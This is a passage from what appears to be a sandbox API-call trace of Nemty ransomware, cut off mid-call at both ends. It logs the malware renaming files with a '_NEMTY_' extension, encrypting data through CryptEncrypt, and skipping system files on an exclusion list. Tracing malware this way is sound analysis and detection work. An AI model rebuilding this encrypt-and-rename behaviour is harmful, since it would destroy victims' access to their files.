lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.684] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.684] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.684] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.693] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.693] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.693] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.702] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.702] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.702] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.708] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.708] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.708] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.714] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.714] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.714] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0130.714] CloseHandle (hObject=0xffffffff) returned 0 [0130.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0130.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0130.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0130.714] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0130.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0130.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0130.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0130.714] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0130.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0130.714] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0130.714] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mouseover.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mouseover.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_left_mouseover.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_left_mouseover.png._nemty_kgobjgd_")) returned 0 [0130.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0130.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0130.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0130.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0130.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0130.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0130.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0130.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0130.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0130.715] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.715] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc90621ad, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc90621ad, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fba76ef, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x69c, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="button_MCELogo_mousedown.png", cAlternateFileName="")) returned 1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2=".") returned 1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="..") returned 1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="...") returned 1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="windows") returned -1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="$RECYCLE.BIN") returned 1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="rsa") returned -1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="NTDETECT.COM") returned -1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="ntldr") returned -1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="MSDOS.SYS") returned -1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="IO.SYS") returned -1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="boot.ini") returned 1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="boot.ini") returned 1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="AUTOEXEC.BAT") returned 1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="ntuser.dat") returned -1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="desktop.ini") returned -1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="CONFIG.SYS") returned -1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="RECYCLER") returned -1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="BOOTSECT.BAK") returned 1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="bootmgr") returned 1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="programdata") returned -1 [0130.715] lstrcmpiW (lpString1="button_MCELogo_mousedown.png", lpString2="appdata") returned 1 [0130.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mousedown.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0130.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mousedown.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_MCELogo_mousedown.png", lpUsedDefaultChar=0x0) returned 28 [0130.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0130.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mousedown.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0130.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mousedown.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_MCELogo_mousedown.png", lpUsedDefaultChar=0x0) returned 28 [0130.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0130.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mousedown.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0130.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mousedown.png", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_MCELogo_mousedown.png", lpUsedDefaultChar=0x0) returned 28 [0130.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mousedown.png", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0130.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.716] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button_MCELogo_mousedown.png", cchWideChar=28, lpMultiByteStr=0x4f9ed58, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button_MCELogo_mousedown.png", lpUsedDefaultChar=0x0) returned 28 [0130.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0130.716] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0130.716] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0130.716] Sleep (dwMilliseconds=0x5) [0130.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x190c730, dwHighDateTime=0x1d561e8)) [0130.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x190c730, dwHighDateTime=0x1d561e8)) [0130.726] GetLastError () returned 0x5 [0130.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.726] GetLastError () returned 0x5 [0130.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0130.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0130.726] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0130.726] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0130.726] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0130.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0130.726] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="hgnZd8jyPqCnajFu4JaFPPLZ428RO8StDwsM0MOYy4j+JsreC+bkTIqI0s0niax4\r\n7FdNci+vHnpXD+XyLuB/de1ueONpx0uXFa0zS4GwtsCu7AFRzH/p+fl6l1Kf21SB\r\nf2CTjHVNbF6s9qkCQQFVGpX4ymoH7XCFquqDtv1jIHx8CXMfTt3cN55XbK0FYyxy\r\nBbSH3fupc0M9OrALtSPi734OEMF4BtywI58oQdWYAvuDGDZ95E0x9JaQyoRdLAru\r\n+NZtbLCASMwPyJGv7JL0GrakaPMT+cLedvZFQ+bI5olgllyQa8FQaJu2N+BBSbFn\r\ndknsxdQe5QgcFYxuPEGWSQ==\r\n", pcchString=0x653e91c) returned 1 [0130.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0130.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0130.726] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0130.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0130.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0130.726] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0130.726] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\button_MCELogo_mousedown.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\button_mcelogo_mousedown.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0130.727] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0130.727] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0130.727] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.727] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.737] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.737] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.737] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.746] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.746] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.746] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.756] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.771] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.771] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.771] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.780] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.780] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.790] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.790] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.790] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.799] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.799] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.799] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.808] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.808] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.809] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.809] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.818] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.818] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.818] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.827] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.827] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.827] ReadFile (in: hFile=0xffffffff, 